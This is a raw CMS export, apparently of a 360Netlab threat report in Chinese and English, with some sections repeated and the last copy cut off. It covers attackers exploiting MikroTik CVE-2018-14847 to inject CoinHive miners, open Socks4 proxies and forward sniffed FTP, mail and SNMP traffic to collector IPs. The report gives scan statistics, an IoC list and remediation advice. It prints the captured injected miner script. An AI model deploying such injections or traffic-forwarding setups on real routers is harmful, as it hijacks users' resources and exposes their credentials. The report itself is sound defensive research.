Kingdom/GB 29 European Union 26 Latin America 25 Chile/CL 24 Mexico/MX 22 Hungary/HU 20 Nicaragua/NI 19 Romania/RO 18 Thailand/TH 16 Paraguay/PY 处置建议 由CVE-2018-14847导致的安全风险远不止于此，我们已经看到MikroTik RouterOS已经被诸多攻击者恶意利用，我们也相信还会有更多的攻击者和攻击手段继续参与进来。 我们建议MikroTik RouterOS用户及时更新软件系统，同时检测http代理，Socks4代理和网络流量抓包功能是否被攻击者恶意利用。 我们建议MikroTik厂商禁止向互联网开放Webfig和Winbox端口，完善软件安全更新机制。 相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 IoC 37.1.207.114 AS50673 Serverius Holding B.V. 185.69.155.23 AS200000 Hosting Ukraine LTD 188.127.251.61 AS56694 Telecommunication Systems, LLC 5.9.183.69 AS24940 Hetzner Online GmbH 77.222.54.45 AS44112 SpaceWeb Ltd 103.193.137.211 AS64073 Vetta Online Ltd 24.255.37.1 AS22773 Cox Communications Inc. 45.76.88.43 AS20473 Choopa, LLC 206.255.37.1 AS53508 Cablelynx 95.154.216.167 AS20860 iomart Cloud Services Limited.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"####背景介绍\n\nMikroTik是一家拉脱维亚公司，成立于1996年，致力于开发路由器和无线ISP系统。MikroTik现在为世界上大多数国家/地区的互联网连接提供硬件和软件。在1997年，MikroTik创建了RouterOS软件系统，在2002年，MikroTik决定制造自己的硬件并创建了RouterBOARD品牌，每个RouterBOARD设备都运行RouterOS软件系统。[\\[1\\]](https://mikrotik.com/aboutus)\n\n根据维基解密披露的CIA Vault7黑客工具Chimay Red涉及到2个漏洞利用，其中包括Winbox任意目录文件读取（CVE-2018-14847）和Webfig远程代码执行漏洞。[\\[2\\]](https://wikileaks.org/ciav7p1/cms/page_16384604.html)\n\nWinbox是一个Windows GUI应用程序，Webfig是一个Web应用程序，两者都是RouterOS一个组件并被设计为路由器管理系统。Winbox和Webfig与RouterOS的网络通信分别在TCP/8291端口上，TCP/80或TCP/8080等端口上。[\\[3\\]](https://wiki.mikrotik.com/wiki/Manual:Winbox) [\\[4\\]](https://wiki.mikrotik.com/wiki/Manual:Webfig) \n\n通过360Netlab Anglerfish蜜罐系统，我们观察到恶意软件正在利用MikroTik CVE-2018-14847漏洞植入CoinHive挖矿代码，启用Socks4代理，监听路由器网络流量等。同时我们也看到业界已有部分关于CoinHive挖矿和Socks4代理披露，其中包括《BOTNET KAMPANJA NAPADA MIKROTIK USMJERIVAČE》[\\[5\\]](https://www.cert.hr/NCBotMikroTik) 和《Mass MikroTik Router Infection – First we cryptojack Brazil, then we take the World?》[\\[6\\]](https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/)\n\n从2018-08-09至今，我们对CVE-2018-14847在全网的分布和利用做了多轮精确度量。每次发起度量时，我们严格遵循Winbox协议发起通信，因此可以精确确认通信对端就是MikroTik 路由器，并且能够准确判定这些路由器是否失陷、以及失陷后被利用做了什么。考虑到MikroTik设备的IP地址会动态更新，本文根据2018-08-23～2018-08-24的扫描数据做分析，并披露一些攻击数据。\n\n\n####脆弱性分布\n\n通过对全网TCP/8291端口扫描分析，发现开放该端口的IP数为**5,000k**，有**1,200k**确认为Mikrotik设备。其中有 **370k(30.83%)** 存在CVE-2018-14847漏洞。\n\n \n\n以下是Top 20 国家统计列表（设备数量、国家）。\n\n```bash\n42376 Brazil/BR\n40742 Russia/RU \n22441 Indonesia/ID\n21837 India/IN\n19331 Iran/IR\n16543 Italy/IT\n14357 Poland/PL\n14007 United States/US\n12898 Thailand/TH\n12720 Ukraine/UA\n11124 China/CN\n10842 Spain/ES\n 8758 South Africa/ZA\n 8621 Czech/CZ\n 6869 Argentina/AR\n 6474 Colombia/CO\n 6134 Cambodia/KH\n 5512 Bangladesh/BD\n 4857 Ecuador/EC\n 4162 Hungary/HU\n```\n\n####被植入CoinHive挖矿代码\n\n攻击者在启用MikroTik RouterOS http代理功能后，使用了一些技巧，将所有的HTTPProxy请求重定向到一个本地的HTTP 403 error.html 页面。在这个页面中，攻击者嵌入了一个来自 CoinHive.com 的挖矿代码链接。通过这种方式，攻击者希望利用所有经过失陷路由器上HTTP代理的流量来挖矿牟利。\n\n \n\n然而实际上这些挖矿代码不会有效工作。这是因为所有的外部Web资源，包括哪些挖矿所必须的来自CoinHive.com的代码，都会被攻击者自己设定访问控制权限所拦截。下面是一个示例。\n\n```bash\n# curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com\nHTTP/1.0 403 Forbidden\nContent-Length: 418\nContent-Type: text/html\nDate: Sat, 26 Aug 2017 03:53:43 GMT\nExpires: Sat, 26 Aug 2017 03:53:43 GMT\nServer: Mikrotik HttpProxy\nProxy-Connection: close\n\n<html>\n<head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n <title>\"http://netlab.360.com/\"</title>\n<script src=\"https://coinhive.com/lib/coinhive.min.js\"></script>\n<script>\n var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2});\n miner.start();\n</script>\n</head>\n<frameset>\n<frame src=\"http://netlab.360.com/\"></frame>\n</frameset>\n</html>\n```\n\n\n####被95.154.216.128/25启用Socks4代理\n\n目前，我们共检测到 **239K** 个IP被恶意启用Socks4代理，Socks4端口一般为TCP/4153，并设置Socks4代理只允许95.154.216.128/25访问 *(这里的权限控制是通过socks代理程序完成，防火墙不会屏蔽任意IP对TCP/4153端口的请求)*。\n\n因为MikroTik RouterOS设备会更新IP地址，攻击者设置了定时任务访问攻击者指定的URL以此获取最新的IP地址。此外，攻击者还通过这些失陷的Socks4代理继续扫描更多的MikroTik RouterOS设备。\n\n \n\n####网络流量被监听\n\nMikroTik RouterOS设备允许用户在路由器上抓包，并把捕获的网络流量转发到指定Stream服务器。[\\[7\\]](https://wiki.mikrotik.com/wiki/Manual:Tools/Packet_Sniffer)\n\n目前共检测到 **7.5k** MikroTik RouterOS设备IP已经被攻击者非法监听，并转发TZSP流量到指定的IP地址，通信端口UDP/37008。\n\n**37.1.207.114** 在控制范围上显著区别于其他所有攻击者。该IP监听了大部分MikroTik RouterOS设备，主要监听TCP协议20，21，25，110，143端口，分别对应FTP-data，FTP，SMTP，POP3，IMAP协议流量。这些应用协议都是通过明文传输数据的，攻击者可以完全掌握连接到该设备下的所有受害者的相关网络流量，包括FTP文件，FTP账号密码，电子邮件内容，电子邮件账号密码等。以下是packet-sniffer页面示例。\n\n \n\n**185.69.155.23** 是另外一个有意思的攻击者，他主要监听TCP协议110, 143, 21端口以及UDP协议161，162端口。161/162代表了SNMP（简单网络管理协议，Simple Network Management Protocol），能够支持网络管理系统，用以监测连接到网络上的设备）。[\\[8\\]](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol) 因此，攻击者通过监听SNMP可以得到整个内部网络上的所有连接设备信息。\n\n以下是Top攻击者统计列表（曾经控制设备数量、攻击者IP）。\n```\n5164 37.1.207.114\n1347 185.69.155.23\n1155 188.127.251.61\n 420 5.9.183.69\n 123 77.222.54.45\n 123 103.193.137.211\n 79 24.255.37.1\n 26 45.76.88.43\n 16 206.255.37.1\n```\n \n\n以下是所有攻击者Top监听端口统计列表。\n\n```bash\n5837 21\n5832 143\n5784 110\n4165 20\n2850 25\n1328 23\n1118 1500\n1095 8083\n 993 3333\n 984 50001\n 982 8545\n 677 161\n 673 162\n 355 3306\n 282 80\n 243 8080\n 237 8081\n 230 8082\n 168 53\n 167 2048 \n```\n\n通过对受害者IP分析，其中俄罗斯受影响最严重。以下是受害者Top分布统计列表。全部的受害者IP地址，不会向公众公布。各受影响国家的相关安全和执法机构，可以向我们联系索取对应的IP地址列表。\n\n```bash\n1628 Russia/RU\n 637 Iran/IR\n 615 Brazil/BR\n 594 India/IN\n 544 Ukraine/UA\n 375 Bangladesh/BD\n 364 Indonesia/ID\n 218 Ecuador/EC\n 191 United States/US\n 189 Argentina/AR\n 122 Colombia/CO\n 113 Poland/PL\n 106 Kenya/KE\n 100 Iraq/IQ\n 92 Austria/AT\n 92 Asia-Pacific Region/\n 85 Bulgaria/BG\n 84 Spain/ES\n 69 Italy/IT\n 63 South Africa/ZA\n 62 Czech/CZ\n 59 Serbia/RS\n 56 Germany/DE\n 52 Albania/AL\n 50 Nigeria/NG\n 47 China/CN\n 39 Netherlands/NL\n 38 Turkey/TR\n 37 Cambodia/KH\n 32 Pakistan/PK\n 30 United Kingdom/GB\n 29 European Union\n 26 Latin America\n 25 Chile/CL\n 24 Mexico/MX\n 22 Hungary/HU\n 20 Nicaragua/NI\n 19 Romania/RO\n 18 Thailand/TH\n 16 Paraguay/PY\n```\n\n\n\n####处置建议\n\n由CVE-2018-14847导致的安全风险远不止于此，我们已经看到MikroTik RouterOS已经被诸多攻击者恶意利用，我们也相信还会有更多的攻击者和攻击手段继续参与进来。\n\n我们建议MikroTik RouterOS用户及时更新软件系统，同时检测http代理，Socks4代理和网络流量抓包功能是否被攻击者恶意利用。\n\n我们建议MikroTik厂商禁止向互联网开放Webfig和Winbox端口，完善软件安全更新机制。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n#### IoC\n```\n37.1.207.114 AS50673 Serverius Holding B.V.\n185.69.155.23 AS200000 Hosting Ukraine LTD\n188.127.251.61 AS56694 Telecommunication Systems, LLC\n5.9.183.69 AS24940 Hetzner Online GmbH\n77.222.54.45 AS44112 SpaceWeb Ltd\n103.193.137.211 AS64073 Vetta Online Ltd\n24.255.37.1 AS22773 Cox Communications Inc.\n45.76.88.43 AS20473 Choopa, LLC\n206.255.37.1 AS53508 Cablelynx\n95.154.216.167 AS20860 iomart Cloud Services Limited.\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

138

post

2018-09-04T02:40:03.000Z

63873b9a8b1c1e0007f52f33

7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en

2020-12-21T03:54:30.000Z

public

published

2018-09-04T05:10:08.000Z

7,500+ MikroTik Routers Are Forwarding Owners’ Traffic to the Attackers, How is Yours?

<!--kg-card-begin: markdown--><p>[Update]</p> <p>2018-09-05 11:00 GMT+8, with the generous help from the AS64073, 103.193.137.211 has been promptly suspended and is no longer a threat.</p> <h4 id="overview">Overview</h4> <p>MikroTik is a Latvian company founded in 1996 to develop routers and wireless ISP systems. MikroTik now provides hardware and software for Internet connectivity in countries around the world. In 1997, MikroTik created the RouterOS software system. In 2002, MikroTik decided to build its own hardware and created the RouterBOARD brand. Each RouterBOARD device runs the RouterOS software system.<a href="https://mikrotik.com/aboutus">[1]</a></p> <p>According to WikiLeaks, the CIA Vault7 hacking tool Chimay Red involves 2 exploits, including Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability.<a href="https://wikileaks.org/ciav7p1/cms/page_16384604.html">[2]</a></p> <p>Both Winbox and Webfig are RouterOS management components, while Winbox is a Windows GUI application and the Webfig is web based. Their corresponding communion ports are TCP/8291, TCP/80, and TCP/8080. <a href="https://wiki.mikrotik.com/wiki/Manual:Winbox">[3]</a> <a href="https://wiki.mikrotik.com/wiki/Manual:Webfig">[4]</a></p> <p>Since Mid-July, our Anglerfish Honeypot System has been picking up malware exploiting the above MikroTik CVE-2018-14847 vulnerability to perform various malicious activities. Some of the activity has been spotted by other security researchers such as CoinHive mining code injecting.<a href="https://www.cert.hr/NCBotMikroTik">[5]</a><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/">[6]</a></p> <p>What’s more, we have observed massive number of victims having their Socks4 proxy enabled on the device by one single malicious actor.</p> <p>More interestingly, we also discovered that more than 7,500+ victims are being actively eavesdropped, with their traffic being forwarded to IPs controlled by unknown attackers.</p> <p>From 2018-08-09, we have made multiple rounds of measurements to calculate the scale of the CVE-2018-14847 vulnerability and exploitability on the Internet. We strictly followed the Winbox communication protocol to make sure those devices are indeed MikroTik routers, and to verify if the device has been hacked and what the hacked box is being up to. We understand the user devices come and go on the internet all the time, so the data used in this blog reflects what we saw between 2018-08-23~2018-08-24.</p> <h4 id="vulnerabledevices">Vulnerable Devices</h4> <p>From our own scan result, we logged more than 5,000K devices with open TCP/8291 port, and 1,200k of them were identified as Mikrotik devices, within which 370k (30.83%) are CVE-2018-14847 vulnerable. See this map for the countries distribution of vulnerable IPs.</p> <p><img src="__GHOST_URL__/content/images/2018/09/11-1.png" alt="MikroTik RouterOS CVE-2018-14847 Distribution" loading="lazy"></p> <p>The following is a Top 20 nations list (device count, country).</p> <pre><code class="language-bash">42376 Brazil/BR 40742 Russia/RU 22441 Indonesia/ID 21837 India/IN 19331 Iran/IR 16543 Italy/IT 14357 Poland/PL 14007 United States/US 12898 Thailand/TH 12720 Ukraine/UA 11124 China/CN 10842 Spain/ES 8758 South Africa/ZA 8621 Czech/CZ 6869 Argentina/AR 6474 Colombia/CO 6134 Cambodia/KH 5512 Bangladesh/BD 4857 Ecuador/EC 4162 Hungary/HU </code></pre> <h4 id="theattacks">The Attacks</h4> <h6 id="coinhiveminingcodeinjection">CoinHive Mining Code Injection</h6> <p>After enabling the Mikrotik RouterOS HTTP proxy, the attacker uses a trick in the configuration by redirecting all the HTTP proxy requests to a local HTTP 403 error page, and in this error page a link for web mining code from coinhive.com is inserted. By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users’ devices</p> <p><img src="__GHOST_URL__/content/images/2018/09/4-5.png" alt="web-proxy" loading="lazy"></p> <p>What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves.</p> <pre><code class="language-bash"># curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com HTTP/1.0 403 Forbidden Content-Length: 418 Content-Type: text/html Date: Sat, 26 Aug 2017 03:53:43 GMT Expires: Sat, 26 Aug 2017 03:53:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close &lt;html&gt; &lt;head&gt; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1251&quot;&gt; &lt;title&gt;&quot;http://netlab.360.com/&quot;&lt;/title&gt; &lt;script src=&quot;https://coinhive.com/lib/coinhive.min.js&quot;&gt;&lt;/script&gt; &lt;script&gt; var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2}); miner.start(); &lt;/script&gt; &lt;/head&gt; &lt;frameset&gt; &lt;frame src=&quot;http://netlab.360.com/&quot;&gt;&lt;/frame&gt; &lt;/frameset&gt; &lt;/html&gt; </code></pre> <h6 id="sock4proxyandthemysterious9515421612825">Sock4 Proxy and the Mysterious 95.154.216.128/25</h6> <p>At present, a total of 239K IPs are confirmed to have Socks4 proxy enabled maliciously. The Socks4 port is mostly TCP/4153, and very interestingly, the Socks4 proxy config only allows access from one single net-block 95.154.216.128/25. In order for the attacker to gain control even after device reboot(ip change), the device is configured to run a scheduled task to periodically report its latest IP address by accessing a specific attacker's URL.</p> <p>The attacker also continues to scan more MikroTik RouterOS devices by using these compromised Socks4 proxy.</p> <p>At this point, all the 239K IPs only allow access from 95.154.216.128/25, actually mainly 95.154.216.167. It is hard to say what the attacker is up to with these many Sock4 proxies but we think this is something significant.</p> <p><img src="__GHOST_URL__/content/images/2018/09/5.png" alt="script" loading="lazy"></p> <h6 id="eavesdropping">Eavesdropping</h6> <p>The MikroTik RouterOS device allows users to capture packets on the router and forward the captured network traffic to the specified Stream server.[<a href="https://wiki.mikrotik.com/wiki/Manual:Tools/Packet_Sniffer">7]</a></p> <p>At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker and their TZSP traffic is being forwarded to some collecting IP addresses.</p> <p>37.1.207.114 is the top player among all the attackers. A significant number of devices have their traffic going to this destination.</p> <p><img src="__GHOST_URL__/content/images/2018/09/6.png" alt="packet-sniffer" loading="lazy"></p> <p>Attackers mainly interested in port 20, 21, 25, 110, and 143, corresponding to FTP-data, FTP, SMTP, POP3, and IMAP traffic. We also noticed the snmp port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users’ network snmp community strings? We don’t have an answer at this point, but we would be very interested to know what the answer might be.</p> <p>The following is a list of Top attackers</p> <pre><code>5164 37.1.207.114 1347 185.69.155.23 1155 188.127.251.61 420 5.9.183.69 123 77.222.54.45 123 103.193.137.211 79 24.255.37.1 26 45.76.88.43 16 206.255.37.1 </code></pre> <p>The following is a list of port being eavesdropped</p> <pre><code class="language-bash">5837 21 5832 143 5784 110 4165 20 2850 25 1328 23 1118 1500 1095 8083 993 3333 984 50001 982 8545 677 161 673 162 355 3306 282 80 243 8080 237 8081 230 8082 168 53 167 2048 </code></pre> <p>Victims breakdown, Russia is the most affected. We are not comfortable to share the IPs to the public, but relevant security entities in affected countries are welcomed to contact us for full IP list they represent.</p> <pre><code class="language-bash">1628 Russia/RU 637 Iran/IR 615 Brazil/BR 594 India/IN 544 Ukraine/UA 375 Bangladesh/BD 364 Indonesia/ID 218 Ecuador/EC 191 United States/US 189 Argentina/AR 122 Colombia/CO 113 Poland/PL 106 Kenya/KE 100 Iraq/IQ 92 Austria/AT 92 Asia-Pacific Region/ 85 Bulgaria/BG 84 Spain/ES 69 Italy/IT 63 South Africa/ZA 62 Czech/CZ 59 Serbia/RS 56 Germany/DE 52 Albania/AL 50 Nigeria/NG 47 China/CN 39 Netherlands/NL 38 Turkey/TR 37 Cambodia/KH 32 Pakistan/PK 30 United Kingdom/GB 29 European Union 26 Latin America 25 Chile/CL 24 Mexico/MX 22 Hungary/HU 20 Nicaragua/NI 19 Romania/RO 18 Thailand/TH 16 Paraguay/PY </code></pre> <h4 id="suggestions">Suggestions</h4> <p>We recommend that MikroTik RouterOS users update the software system in a timely manner, and check whether the http proxy, Socks4 proxy and network traffic capture function are being maliciously exploited by attackers.</p> <p>We recommend that MikroTik denies inbound access to the Webfig and Winbox ports from the Internet and improve the software security update mechanism.</p> <p>Relevant security agency are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p> <h4 id="contactus">Contact Us</h4> <p>Readers can feel free to contact us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or WeChat <strong>360Netlab</strong> .</p> <h4 id="ioc">IoC</h4> <p>Attacker and collector IPs</p> <pre><code>37.1.207.114 AS50673 Serverius Holding B.V. 185.69.155.23 AS200000 Hosting Ukraine LTD 188.127.251.61 AS56694 Telecommunication Systems, LLC 5.9.183.69 AS24940 Hetzner Online GmbH 77.222.54.45 AS44112 SpaceWeb Ltd [removed] 103.193.137.211 AS64073 Vetta Online Ltd 24.255.37.1 AS22773 Cox Communications Inc. 45.76.88.43 AS20473 Choopa, LLC 206.255.37.1 AS53508 Cablelynx 95.154.216.167 AS20860 iomart Cloud Services Limited. </code></pre> <p>Used to be but no longer a threat</p> <pre><code>103.193.137.211 AS64073 Vetta Online Ltd (With the generous help from the AS64073 , 103.193.137.211 has been promptly suspended and is no longer a threat.) </code></pre> <!--kg-card-end: markdown-->

[Update] 2018-09-05 11:00 GMT+8, with the generous help from the AS64073, 103.193.137.211 has been promptly suspended and is no longer a threat. Overview MikroTik is a Latvian company founded in 1996 to develop routers and wireless ISP systems. MikroTik now provides hardware and software for Internet connectivity in countries around the world. In 1997, MikroTik created the RouterOS software system. In 2002, MikroTik decided to build its own hardware and created the RouterBOARD brand. Each RouterBOARD device runs the RouterOS software system.[1] According to WikiLeaks, the CIA Vault7 hacking tool Chimay Red involves 2 exploits, including Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability.[2] Both Winbox and Webfig are RouterOS management components, while Winbox is a Windows GUI application and the Webfig is web based. Their corresponding communion ports are TCP/8291, TCP/80, and TCP/8080. [3] [4] Since Mid-July, our Anglerfish Honeypot System has been picking up malware exploiting the above MikroTik CVE-2018-14847 vulnerability to perform various malicious activities. Some of the activity has been spotted by other security researchers such as CoinHive mining code injecting.[5][6] What’s more, we have observed massive number of victims having their Socks4 proxy enabled on the device by one single malicious actor. More interestingly, we also discovered that more than 7,500+ victims are being actively eavesdropped, with their traffic being forwarded to IPs controlled by unknown attackers. From 2018-08-09, we have made multiple rounds of measurements to calculate the scale of the CVE-2018-14847 vulnerability and exploitability on the Internet. We strictly followed the Winbox communication protocol to make sure those devices are indeed MikroTik routers, and to verify if the device has been hacked and what the hacked box is being up to. We understand the user devices come and go on the internet all the time, so the data used in this blog reflects what we saw between 2018-08-23~2018-08-24. Vulnerable Devices From our own scan result, we logged more than 5,000K devices with open TCP/8291 port, and 1,200k of them were identified as Mikrotik devices, within which 370k (30.83%) are CVE-2018-14847 vulnerable. See this map for the countries distribution of vulnerable IPs. The following is a Top 20 nations list (device count, country). 42376 Brazil/BR 40742 Russia/RU 22441 Indonesia/ID 21837 India/IN 19331 Iran/IR 16543 Italy/IT 14357 Poland/PL 14007 United States/US 12898 Thailand/TH 12720 Ukraine/UA 11124 China/CN 10842 Spain/ES 8758 South Africa/ZA 8621 Czech/CZ 6869 Argentina/AR 6474 Colombia/CO 6134 Cambodia/KH 5512 Bangladesh/BD 4857 Ecuador/EC 4162 Hungary/HU The Attacks CoinHive Mining Code Injection After enabling the Mikrotik RouterOS HTTP proxy, the attacker uses a trick in the configuration by redirecting all the HTTP proxy requests to a local HTTP 403 error page, and in this error page a link for web mining code from coinhive.com is inserted. By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users’ devices What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves. # curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com HTTP/1.0 403 Forbidden Content-Length: 418 Content-Type: text/html Date: Sat, 26 Aug 2017 03:53:43 GMT Expires: Sat, 26 Aug 2017 03:53:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title>"http://netlab.360.com/"</title> <script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2}); miner.start(); </script> </head> <frameset> <frame src="http://netlab.360.com/"></frame> </frameset> </html> Sock4 Proxy and the Mysterious 95.154.216.128/25 At present, a total of 239K IPs are confirmed to have Socks4 proxy enabled maliciously. The Socks4 port is mostly TCP/4153, and very interestingly, the Socks4 proxy config only allows access from one single net-block 95.154.216.128/25. In order for the attacker to gain control even after device reboot(ip change), the device is configured to run a scheduled task to periodically report its latest IP address by accessing a specific attacker's URL. The attacker also continues to scan more MikroTik RouterOS devices by using these compromised Socks4 proxy. At this point, all the 239K IPs only allow access from 95.154.216.128/25, actually mainly 95.154.216.167. It is hard to say what the attacker is up to with these many Sock4 proxies but we think this is something significant. Eavesdropping The MikroTik RouterOS device allows users to capture packets on the router and forward the captured network traffic to the specified Stream server.[7] At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker and their TZSP traffic is being forwarded to some collecting IP addresses. 37.1.207.114 is the top player among all the attackers. A significant number of devices have their traffic going to this destination. Attackers mainly interested in port 20, 21, 25, 110, and 143, corresponding to FTP-data, FTP, SMTP, POP3, and IMAP traffic. We also noticed the snmp port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users’ network snmp community strings? We don’t have an answer at this point, but we would be very interested to know what the answer might be. The following is a list of Top attackers 5164 37.1.207.114 1347 185.69.155.23 1155 188.127.251.61 420 5.9.183.69 123 77.222.54.45 123 103.193.137.211 79 24.255.37.1 26 45.76.88.43 16 206.255.37.1 The following is a list of port being eavesdropped 5837 21 5832 143 5784 110 4165 20 2850 25 1328 23 1118 1500 1095 8083 993 3333 984 50001 982 8545 677 161 673 162 355 3306 282 80 243 8080 237 8081 230 8082 168 53 167 2048 Victims breakdown, Russia is the most affected. We are not comfortable to share the IPs to the public, but relevant security entities in affected countries are welcomed to contact us for full IP list they represent. 1628 Russia/RU 637 Iran/IR 615 Brazil/BR 594 India/IN 544 Ukraine/UA 375 Bangladesh/BD 364 Indonesia/ID 218 Ecuador/EC 191 United States/US 189 Argentina/AR 122 Colombia/CO 113 Poland/PL 106 Kenya/KE 100 Iraq/IQ 92 Austria/AT 92 Asia-Pacific Region/ 85 Bulgaria/BG 84 Spain/ES 69 Italy/IT 63 South Africa/ZA 62 Czech/CZ 59 Serbia/RS 56 Germany/DE 52 Albania/AL 50 Nigeria/NG 47 China/CN 39 Netherlands/NL 38 Turkey/TR 37 Cambodia/KH 32 Pakistan/PK 30 United Kingdom/GB 29 European Union 26 Latin America 25 Chile/CL 24 Mexico/MX 22 Hungary/HU 20 Nicaragua/NI 19 Romania/RO 18 Thailand/TH 16 Paraguay/PY Suggestions We recommend that MikroTik RouterOS users update the software system in a timely manner, and check whether the http proxy, Socks4 proxy and network traffic capture function are being maliciously exploited by attackers. We recommend that MikroTik denies inbound access to the Webfig and Winbox ports from the Internet and improve the software security update mechanism. Relevant security agency are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses. Contact Us Readers can feel free to contact us on our twitter or WeChat 360Netlab . IoC Attacker and collector IPs 37.1.207.114 AS50673 Serverius Holding B.V. 185.69.155.23 AS200000 Hosting Ukraine LTD 188.127.251.61 AS56694 Telecommunication Systems, LLC 5.9.183.69 AS24940 Hetzner Online GmbH 77.222.54.45 AS44112 SpaceWeb Ltd [removed] 103.193.137.211 AS64073 Vetta Online Ltd 24.255.37.1 AS22773 Cox Communications Inc. 45.76.88.43 AS20473 Choopa, LLC 206.255.37.1 AS53508 Cablelynx 95.154.216.167 AS20860 iomart Cloud Services Limited. Used to be but no longer a threat 103.193.137.211 AS64073 Vetta Online Ltd (With the generous help from the AS64073 , 103.193.137.211 has been promptly suspended and is no longer a threat.)

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"[Update] \n\n2018-09-05 11:00 GMT+8, with the generous help from the AS64073, 103.193.137.211 has been promptly suspended and is no longer a threat.\n\n####Overview\n\nMikroTik is a Latvian company founded in 1996 to develop routers and wireless ISP systems. MikroTik now provides hardware and software for Internet connectivity in countries around the world. In 1997, MikroTik created the RouterOS software system. In 2002, MikroTik decided to build its own hardware and created the RouterBOARD brand. Each RouterBOARD device runs the RouterOS software system.[\\[1\\]](https://mikrotik.com/aboutus)\n\nAccording to WikiLeaks, the CIA Vault7 hacking tool Chimay Red involves 2 exploits, including Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability.[\\[2\\]](https://wikileaks.org/ciav7p1/cms/page_16384604.html)\n\nBoth Winbox and Webfig are RouterOS management components, while Winbox is a Windows GUI application and the Webfig is web based. Their corresponding communion ports are TCP/8291, TCP/80, and TCP/8080. [\\[3\\]](https://wiki.mikrotik.com/wiki/Manual:Winbox) [\\[4\\]](https://wiki.mikrotik.com/wiki/Manual:Webfig) \n\nSince Mid-July, our Anglerfish Honeypot System has been picking up malware exploiting the above MikroTik CVE-2018-14847 vulnerability to perform various malicious activities. Some of the activity has been spotted by other security researchers such as CoinHive mining code injecting.[\\[5\\]](https://www.cert.hr/NCBotMikroTik)[\\[6\\]](https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/)\n\nWhat’s more, we have observed massive number of victims having their Socks4 proxy enabled on the device by one single malicious actor.\n\nMore interestingly, we also discovered that more than 7,500+ victims are being actively eavesdropped, with their traffic being forwarded to IPs controlled by unknown attackers. \n\nFrom 2018-08-09, we have made multiple rounds of measurements to calculate the scale of the CVE-2018-14847 vulnerability and exploitability on the Internet. We strictly followed the Winbox communication protocol to make sure those devices are indeed MikroTik routers, and to verify if the device has been hacked and what the hacked box is being up to. We understand the user devices come and go on the internet all the time, so the data used in this blog reflects what we saw between 2018-08-23~2018-08-24.\n\n####Vulnerable Devices\n\nFrom our own scan result, we logged more than 5,000K devices with open TCP/8291 port, and 1,200k of them were identified as Mikrotik devices, within which 370k (30.83%) are CVE-2018-14847 vulnerable. See this map for the countries distribution of vulnerable IPs.\n \n \n\nThe following is a Top 20 nations list (device count, country).\n\n```bash\n42376 Brazil/BR\n40742 Russia/RU \n22441 Indonesia/ID\n21837 India/IN\n19331 Iran/IR\n16543 Italy/IT\n14357 Poland/PL\n14007 United States/US\n12898 Thailand/TH\n12720 Ukraine/UA\n11124 China/CN\n10842 Spain/ES\n 8758 South Africa/ZA\n 8621 Czech/CZ\n 6869 Argentina/AR\n 6474 Colombia/CO\n 6134 Cambodia/KH\n 5512 Bangladesh/BD\n 4857 Ecuador/EC\n 4162 Hungary/HU\n```\n\n####The Attacks\n\n######CoinHive Mining Code Injection\nAfter enabling the Mikrotik RouterOS HTTP proxy, the attacker uses a trick in the configuration by redirecting all the HTTP proxy requests to a local HTTP 403 error page, and in this error page a link for web mining code from coinhive.com is inserted. By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users’ devices\n\n \n\nWhat is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves.\n```bash\n# curl -i --proxy 